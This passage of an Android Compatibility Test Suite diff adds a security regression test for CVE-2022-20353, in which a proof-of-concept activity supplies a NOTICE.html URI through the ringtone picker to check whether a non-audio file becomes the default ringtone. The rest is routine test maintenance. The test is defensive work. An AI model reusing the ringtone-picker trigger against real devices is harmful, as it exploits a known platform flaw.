+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20353;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    Resources mResources;
+    UiDevice mDevice;
+    Context mContext;
+
+    // Wait for UiObject to appear and click on the UiObject if it is visible
+    private boolean clickUiObject(BySelector selector) {
+        boolean objectFound =
+                mDevice.wait(Until.hasObject(selector), mResources.getInteger(R.integer.timeoutMs));
+        if (objectFound) {
+            mDevice.findObject(selector).click();
+        }
+        return objectFound;
+    }
+
+    @Test
+    public void testDefaultRingtonePreference() {
+        String defaultRingtone = null;
+        try {
+            mDevice = UiDevice.getInstance(getInstrumentation());
+            mContext = getInstrumentation().getContext();
+            mResources = mContext.getResources();
+            defaultRingtone =
+                    mDevice.executeShellCommand(mContext.getString(R.string.getRingtoneCmd));
+
+            Intent intent = new Intent(Settings.ACTION_SOUND_SETTINGS);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+
+            String settingsPackageName =
+                    intent.resolveActivity(mContext.getPackageManager()).getPackageName();
+            Context settingsContext = mContext.createPackageContext(settingsPackageName,
+                    Context.CONTEXT_IGNORE_SECURITY);
+            Resources res = settingsContext.getPackageManager()
+                    .getResourcesForApplication(settingsPackageName);
+            String text = settingsContext
+                    .getString(res.getIdentifier(mContext.getString(R.string.textResId),
+                            mContext.getString(R.string.resType), settingsPackageName));
+            // scroll until text 'Phone ringtone' is visible
+            UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
+            uiScrollable.scrollTextIntoView(text);
+            // click on 'Phone ringtone'
+            BySelector selector = By.text(text);
+            assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, text),
+                    clickUiObject(selector));
+            // select CTS PoC app
+            text = mContext.getString(R.string.appName);
+            selector = By.text(text);
+            assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, text),
+                    clickUiObject(selector));
+            // select 'Always'
+            String resId = mContext.getString(R.string.alwaysButtonId);
+            selector = By.res(resId);
+            assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, resId),
+                    clickUiObject(selector));
+
+            SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+                    mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+            Semaphore preferenceChanged = new Semaphore(0);
+            OnSharedPreferenceChangeListener sharedPrefListener =
+                    new OnSharedPreferenceChangeListener() {
+                        @Override
+                        public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+                                String key) {
+                            if (key.equals(mContext.getString(R.string.resultKey))) {
+                                preferenceChanged.release();
+                            }
+                        }
+                    };
+            sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
+            // wait for PocActivity to complete
+            assumeTrue(preferenceChanged.tryAcquire(mResources.getInteger(R.integer.timeoutMs),
+                    TimeUnit.MILLISECONDS));
+            int result = sharedPrefs.getInt(mContext.getString(R.string.resultKey),
+                    mResources.getInteger(R.integer.assumptionFailure));
+            String message = sharedPrefs.getString(mContext.getString(R.string.messageKey),
+                    mContext.getString(R.string.defaultSemaphoreMsg));
+            assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure));
+
+            String ringtoneUri = "";
+            boolean isVulnerable = false;
+            long startTime = System.currentTimeMillis();
+            while ((System.currentTimeMillis() - startTime) < mResources
+                    .getInteger(R.integer.timeoutMs)) {
+                ringtoneUri =
+                        mDevice.executeShellCommand(mContext.getString(R.string.getRingtoneCmd));
+                if (ringtoneUri.contains(mContext.getString(R.string.fileName))) {
+                    isVulnerable = true;
+                    break;
+                }
+            }
+            assertFalse(mContext.getString(R.string.failureMessage), isVulnerable);
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                // reset ringtone to default (other than 'null') present before test
+                mDevice.executeShellCommand(
+                        mContext.getString(R.string.setRingtoneCmd) + " " + defaultRingtone);
+                mDevice.pressHome();
+            } catch (Exception e) {
+                // ignore exception here
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java
new file mode 100644
index 0000000..977e647
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20353;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.media.RingtoneManager;
+import android.net.Uri;
+import android.os.Bundle;
+
+/* PocActivity is required in this test since it is required that CTS PoC app is selected when */
+/* choosing an app for setting default ringtone. RingtonePicker appears due to actions done in */
+/* DeviceTest.                                                                                 */
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            Intent intent = new Intent();
+            /* set NOTICE.html file uri as EXTRA_RINGTONE_PICKED_URI which sets NOTICE.html as */
+            /* default ringtone if vulnerability is present                                    */
+            intent.putExtra(RingtoneManager.EXTRA_RINGTONE_PICKED_URI,
+                    Uri.parse(getString(R.string.noticeUri)));
+            setResult(Activity.RESULT_OK, intent);
+            finish();
+            sendTestResult(getResources().getInteger(R.integer.success), "");
+        } catch (Exception e) {
+            sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+        }
+    }
+
+    void sendTestResult(int result, String message) {
+        try {
+            SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putInt(getString(R.string.resultKey), result);
+            edit.putString(getString(R.string.messageKey), message);
+            edit.commit();
+        } catch (Exception e) {
+            // ignore exception here
+        }
+    }
+
+}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 8d5df1b..1edc041 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -884,7 +884,7 @@
     @Test
     public void testFailStagingMultipleSessionsIfNoCheckPoint() throws Exception {
         stageSingleApk(TestApp.A1).assertSuccessful();
-        int sessionId = stageSingleApk(TestApp.B1).assertSuccessful().getSessionId();
+        int sessionId = stageSingleApk(TestApp.B1).assertFailure().getSessionId();
         PackageInstaller.SessionInfo info = getSessionInfo(sessionId);
         assertThat(info).isStagedSessionFailed();
         assertThat(info.getStagedSessionErrorMessage()).contains(
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index e98eeda..73ceea1 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -536,6 +536,9 @@
 
     @Test
     public void testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk() throws Exception {
+        assumeTrue("Device does not support file-system checkpoint",
+                mHostUtils.isCheckpointSupported());
+
         runPhase("testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk");
     }
 
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
index 081e08f..6701860 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
@@ -23,6 +23,7 @@
 import android.cts.statsdatom.lib.DeviceUtils;
 import android.cts.statsdatom.lib.ReportUtils;
 
+import com.android.annotations.Nullable;
 import com.android.os.AtomsProto;
 import com.android.os.StatsLog;
 import com.android.tradefed.build.IBuildInfo;
@@ -76,12 +77,46 @@
     }
 
     public void testAppStartOccurred() throws Exception {
+        runTestAppStartOccurredCommon(null, atom -> {
+            assertThat(atom.getType()).isEqualTo(
+                    AtomsProto.AppStartOccurred.TransitionType.COLD);
+            assertThat(atom.getProcessState()).isEqualTo(
+                    AtomsProto.AppStartOccurred.AppProcessState.PROCESS_STATE_NONEXISTENT);
+        });
+    }
+
+    public void testAppStartOccurredWarm() throws Exception {
+        runTestAppStartOccurredCommon(() -> {
+            DeviceUtils.executeBackgroundService(getDevice(), "action.end_immediately");
+            Thread.sleep(WAIT_TIME_MS);
+        }, atom -> {
+            assertThat(atom.getType()).isEqualTo(
+                    AtomsProto.AppStartOccurred.TransitionType.WARM);
+            assertThat(atom.getProcessState()).isEqualTo(
+                    AtomsProto.AppStartOccurred.AppProcessState.PROCESS_STATE_CACHED_EMPTY);
+        });
+    }
+
+    private interface RunnableWithException {
+        void run() throws Exception;
+    }
+
+    private interface ConsumerWithException<T> {
+        void accept(T t) throws Exception;
+    }
+
+    private void runTestAppStartOccurredCommon(@Nullable RunnableWithException prolog,
+            @Nullable ConsumerWithException<AtomsProto.AppStartOccurred> epilog) throws Exception {
         final int atomTag = AtomsProto.Atom.APP_START_OCCURRED_FIELD_NUMBER;
         ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 atomTag,  /*uidInAttributionChain=*/false);
         getDevice().executeShellCommand(getGlobalHibernationCommand(
                 DeviceUtils.STATSD_ATOM_TEST_PKG, false));
 
+        if (prolog != null) {
+            prolog.run();
+        }
+
         DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 STATSD_CTS_FOREGROUND_ACTIVITY, "action", "action.sleep_top", WAIT_TIME_MS);
 
@@ -97,6 +132,9 @@
         assertThat(atom.getActivityStartTimestampMillis()).isGreaterThan(0L);
         assertThat(atom.getTransitionDelayMillis()).isGreaterThan(0);
         assertThat(atom.getIsHibernating()).isFalse();
+        if (epilog != null) {
+            epilog.accept(atom);
+        }
     }
 
     public void testHibernatingAppStartOccurred() throws Exception {
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 33422c1..42b9b5c 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -598,30 +598,25 @@
 
         final int atomTag = Atom.SCREEN_BRIGHTNESS_CHANGED_FIELD_NUMBER;
 
-        Set<Integer> screenMin = new HashSet<>(Arrays.asList(47));
-        Set<Integer> screen100 = new HashSet<>(Arrays.asList(100));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100);
-
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 atomTag);
         DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testScreenBrightness");
 
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        List<Integer> expectedValues = Arrays.asList(47, 100);
+
+        // Sorted list of brightness values in order in which they occurred, filtered to only
+        // contain expectedValues if they are present.
+        List<Integer> data = ReportUtils.getEventMetricDataList(getDevice())
+                                     .stream()
+                                     .map(e -> e.getAtom().getScreenBrightnessChanged().getLevel())
+                                     .filter(expectedValues::contains)
+                                     .collect(Collectors.toList());
 
         // Restore initial screen brightness
         setScreenBrightness(initialBrightness);
         setScreenBrightnessMode(isInitialManual);
 
-        AtomTestUtils.popUntilFind(data, screenMin,
-                atom -> atom.getScreenBrightnessChanged().getLevel());
-        AtomTestUtils.popUntilFindFromEnd(data, screen100,
-                atom -> atom.getScreenBrightnessChanged().getLevel());
-        // Assert that the events happened in the expected order.
-        AtomTestUtils.assertStatesOccurredInOrder(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
-                atom -> atom.getScreenBrightnessChanged().getLevel());
+        assertThat(data).containsExactlyElementsIn(expectedValues).inOrder();
     }
 
     public void testSyncState() throws Exception {
diff --git a/tests/accessibility/Android.bp b/tests/accessibility/Android.bp
index 91ce26b..03c7d1b 100644
--- a/tests/accessibility/Android.bp
+++ b/tests/accessibility/Android.bp
@@ -21,6 +21,7 @@
     sdk_version: "test_current",
     static_libs: [
         "compatibility-device-util-axt",
+        "sts-device-util",
     ],
     srcs: ["common/src/**/*.java"],
 }
@@ -39,6 +40,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     sdk_version: "test_current",
 }
diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml
index bf3b1a8..056ca59 100644
--- a/tests/accessibility/AndroidManifest.xml
+++ b/tests/accessibility/AndroidManifest.xml
@@ -60,6 +60,17 @@
                  android:resource="@xml/speaking_and_vibrating_accessibilityservice"/>
         </service>
 
+        <service android:name=".NoFeedbackAccessibilityService"
+             android:label="@string/title_no_feedback_accessibility_service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+            </intent-filter>
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/no_feedback_accessibilityservice"/>
+        </service>
+
         <service android:name=".AccessibilityButtonService"
              android:label="@string/title_accessibility_button_service"
              android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
diff --git a/tests/accessibility/res/values/strings.xml b/tests/accessibility/res/values/strings.xml
index 37d3051..871d5f9 100644
--- a/tests/accessibility/res/values/strings.xml
+++ b/tests/accessibility/res/values/strings.xml
@@ -26,6 +26,9 @@
     <!-- String title for the vibrating accessibility service -->
     <string name="title_speaking_and_vibrating_accessibility_service">Speaking and Vibrating Accessibility Service</string>
 
+    <!-- String title for the no-feedback accessibility service -->
+    <string name="title_no_feedback_accessibility_service">No-Feedback Accessibility Service</string>
+
     <!-- String title for the accessibility button service -->
     <string name="title_accessibility_button_service">Accessibility Button Service</string>
 
diff --git a/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml b/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml
new file mode 100644
index 0000000..168e584
--- /dev/null
+++ b/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"/>
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index 0f5afd1..27c3aac 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -34,6 +34,7 @@
 import android.content.Context;
 import android.content.pm.ServiceInfo;
 import android.os.Handler;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityManager;
 import android.view.accessibility.AccessibilityManager.AccessibilityServicesStateChangeListener;
@@ -44,6 +45,8 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SettingsStateChangerRule;
 import com.android.compatibility.common.util.SystemUtil;
@@ -63,7 +66,7 @@
  * Class for testing {@link AccessibilityManager}.
  */
 @RunWith(AndroidJUnit4.class)
-public class AccessibilityManagerTest {
+public class AccessibilityManagerTest extends StsExtraBusinessLogicTestCase {
 
     private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
             new AccessibilityDumpOnFailureRule();
@@ -81,6 +84,11 @@
             new InstrumentedAccessibilityServiceTestRule<>(
                     SpeakingAndVibratingAccessibilityService.class, false);
 
+    private InstrumentedAccessibilityServiceTestRule<NoFeedbackAccessibilityService>
+            mNoFeedbackAccessibilityServiceRule =
+            new InstrumentedAccessibilityServiceTestRule<>(
+                    NoFeedbackAccessibilityService.class, false);
+
     private static final Instrumentation sInstrumentation =
             InstrumentationRegistry.getInstrumentation();
 
@@ -93,6 +101,9 @@
     private static final String MULTIPLE_FEEDBACK_TYPES_ACCESSIBILITY_SERVICE_NAME =
         "android.view.accessibility.cts.SpeakingAndVibratingAccessibilityService";
 
+    private static final String NO_FEEDBACK_ACCESSIBILITY_SERVICE_NAME =
+            "android.view.accessibility.cts.NoFeedbackAccessibilityService";
+
     public static final String ACCESSIBILITY_NON_INTERACTIVE_UI_TIMEOUT_MS =
             "accessibility_non_interactive_ui_timeout_ms";
 
@@ -112,6 +123,7 @@
             // SettingsStateChangerRule will suppress accessibility services, so it should be
             // executed before enabling a11y services and after disabling a11y services.
             .outerRule(mAudioDescriptionSetterRule)
+            .around(mNoFeedbackAccessibilityServiceRule)
             .around(mSpeakingAndVibratingAccessibilityServiceRule)
             .around(mVibratingAccessibilityServiceRule)
             .around(mSpeakingAccessibilityServiceRule)
@@ -241,6 +253,26 @@
         assertTrue("The vibrating service should be enabled.", vibratingServiceEnabled);
     }
 
+    @AsbSecurityTest(cveBugId = {243849844})
+    @Test
+    public void testGetEnabledAccessibilityServiceList_NoFeedback() {
+        mNoFeedbackAccessibilityServiceRule.enableService();
+        List<AccessibilityServiceInfo> enabledServices =
+                mAccessibilityManager.getEnabledAccessibilityServiceList(
+                        AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
+        boolean noFeedbackServiceEnabled = false;
+        final int serviceCount = enabledServices.size();
+        for (int i = 0; i < serviceCount; i++) {
+            AccessibilityServiceInfo enabledService = enabledServices.get(i);
+            ServiceInfo serviceInfo = enabledService.getResolveInfo().serviceInfo;
+            if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
+                    && NO_FEEDBACK_ACCESSIBILITY_SERVICE_NAME.equals(serviceInfo.name)) {
+                noFeedbackServiceEnabled = true;
+            }
+        }
+        assertTrue("The no-feedback service should be enabled.", noFeedbackServiceEnabled);
+    }
+
     @Test
     public void testGetEnabledAccessibilityServiceListForType() throws Exception {
         mSpeakingAccessibilityServiceRule.enableService();
diff --git a/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java
new file mode 100644
index 0000000..0c79ae4
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.accessibility.cts;
+
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.content.ComponentName;
+
+/**
+ * Stub accessibility service that reports itself as providing no feedback.
+ */
+public class NoFeedbackAccessibilityService extends InstrumentedAccessibilityService {
+    public static final ComponentName COMPONENT_NAME = new ComponentName(
+            "android.view.accessibility.cts",
+            "android.view.accessibility.cts.NoFeedbackAccessibilityService");
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index 035b679..ef1d686 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -27,8 +27,6 @@
 import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
 import static android.accessibilityservice.cts.utils.DisplayUtils.VirtualDisplaySession;
 import static android.accessibilityservice.cts.utils.DisplayUtils.getStatusBarHeight;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED;
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
@@ -59,12 +57,10 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
-import android.accessibilityservice.AccessibilityService;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.accessibilityservice.cts.activities.AccessibilityWindowQueryActivity;
 import android.accessibilityservice.cts.activities.NonDefaultDisplayActivity;
 import android.app.Activity;
-import android.app.ActivityTaskManager;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.graphics.Rect;
@@ -88,7 +84,6 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.SystemUtil;
-import com.android.compatibility.common.util.TestUtils;
 
 import org.hamcrest.Description;
 import org.hamcrest.TypeSafeMatcher;
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index e832a7b..96dd5c2 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -51,6 +51,7 @@
     ],
     instrumentation_for: "CtsAppTestStubs",
     sdk_version: "test_current",
+    // 21 required for multi-dex.
     min_sdk_version: "21",
     dxflags: ["--multi-dex"],
     // Disable coverage since it pushes us over the dex limit and we don't
@@ -58,6 +59,7 @@
     jacoco: {
         exclude_filter: ["**"],
     },
+    // Even with coverage disabled, we're close to the single dex limit, so allow use of multi-dex.
     data: [
         ":CtsSimpleApp",
         ":CtsAppTestStubs",
diff --git a/tests/app/app/assets/picture_800_by_600.png b/tests/app/app/assets/picture_800_by_600.png
new file mode 100644
index 0000000..dc8f3d4
--- /dev/null
+++ b/tests/app/app/assets/picture_800_by_600.png
Binary files differ
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 05a0f9e..eaecc4e 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -65,12 +65,11 @@
 import android.os.UserHandle;
 import android.permission.cts.PermissionUtils;
 import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState;
+import android.server.wm.WindowManagerStateHelper;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiSelector;
 import android.util.Log;
-import android.view.accessibility.AccessibilityEvent;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -239,9 +238,9 @@
     }
 
     private void waitForAppFocus(String waitForApp, long waitTime) {
+        final WindowManagerStateHelper wms = new WindowManagerStateHelper();
         long waitUntil = SystemClock.elapsedRealtime() + waitTime;
         while (true) {
-            WindowManagerState wms = new WindowManagerState();
             wms.computeState();
             String appName = wms.getFocusedApp();
             if (appName != null) {
@@ -262,17 +261,13 @@
         }
     }
 
-    private void startActivityAndWaitForShow(final Intent intent) throws Exception {
-        mInstrumentation.getUiAutomation().executeAndWaitForEvent(
-                () -> {
-                    try {
-                        mTargetContext.startActivity(intent);
-                    } catch (Exception e) {
-                        fail("Cannot start activity: " + intent);
-                    }
-                }, (AccessibilityEvent event) -> event.getEventType()
-                        == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED
-                , WAIT_TIME);
+    private void startAndWaitForHeavyWeightSwitcherActivity(final Intent intent)  {
+        mTargetContext.startActivity(intent);
+        // Assume there was another CANT_SAVE_STATE app, so it will redirect to the switch activity.
+        new WindowManagerStateHelper().waitAndAssertWindowSurfaceShown(
+                "android/com.android.internal.app.HeavyWeightSwitcherActivity", true);
+        // Wait for the transition animation to complete.
+        mInstrumentation.getUiAutomation().syncInputTransactions();
     }
 
     private void maybeClick(UiDevice device, UiSelector sel) {
@@ -1443,7 +1438,6 @@
         homeIntent.addCategory(Intent.CATEGORY_HOME);
         homeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
 
-        ActivityManager am = mContext.getSystemService(ActivityManager.class);
         UiDevice device = UiDevice.getInstance(mInstrumentation);
 
         PermissionUtils.grantPermission(
@@ -1484,7 +1478,7 @@
             uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_HEAVY_WEIGHT);
 
             // Start the second heavy-weight app, should ask us what to do with the two apps
-            startActivityAndWaitForShow(activity2Intent);
+            startAndWaitForHeavyWeightSwitcherActivity(activity2Intent);
 
             // First, let's try returning to the original app.
             maybeClick(device, new UiSelector().resourceId("android:id/switch_old"));
@@ -1501,7 +1495,7 @@
             uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_HEAVY_WEIGHT);
 
             // Again try starting second heavy-weight app to get prompt.
-            startActivityAndWaitForShow(activity2Intent);
+            startAndWaitForHeavyWeightSwitcherActivity(activity2Intent);
 
             // Now we'll switch to the new app.
             maybeClick(device, new UiSelector().resourceId("android:id/switch_new"));
@@ -1527,7 +1521,7 @@
             uid2Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_HEAVY_WEIGHT);
 
             // Try starting the first heavy weight app, but return to the existing second.
-            startActivityAndWaitForShow(activity1Intent);
+            startAndWaitForHeavyWeightSwitcherActivity(activity1Intent);
             maybeClick(device, new UiSelector().resourceId("android:id/switch_old"));
             waitForAppFocus(CANT_SAVE_STATE_2_PACKAGE_NAME, WAIT_TIME);
             device.waitForIdle();
@@ -1540,7 +1534,7 @@
             uid2Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_HEAVY_WEIGHT);
 
             // Again start the first heavy weight app, this time actually switching to it
-            startActivityAndWaitForShow(activity1Intent);
+            startAndWaitForHeavyWeightSwitcherActivity(activity1Intent);
             maybeClick(device, new UiSelector().resourceId("android:id/switch_new"));
             waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
             device.waitForIdle();
diff --git a/tests/app/src/android/app/cts/NotificationTemplateTest.kt b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
index 6db8aa6..bef1319 100644
--- a/tests/app/src/android/app/cts/NotificationTemplateTest.kt
+++ b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
@@ -32,6 +32,7 @@
 import android.widget.TextView
 import androidx.annotation.ColorInt
 import androidx.test.filters.SmallTest
+import com.android.compatibility.common.util.CddTest;
 import com.google.common.truth.Truth.assertThat
 import org.junit.Assume
 import kotlin.test.assertFailsWith
@@ -283,8 +284,9 @@
         }
     }
 
+    @CddTest(requirement = "3.8.3.1/C-2-1")
     fun testPromoteBigPicture_withBigPictureUriIcon() {
-        val pictureUri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png")
+        val pictureUri = Uri.parse("content://android.app.stubs.assets/picture_800_by_600.png")
         val pictureIcon = Icon.createWithContentUri(pictureUri)
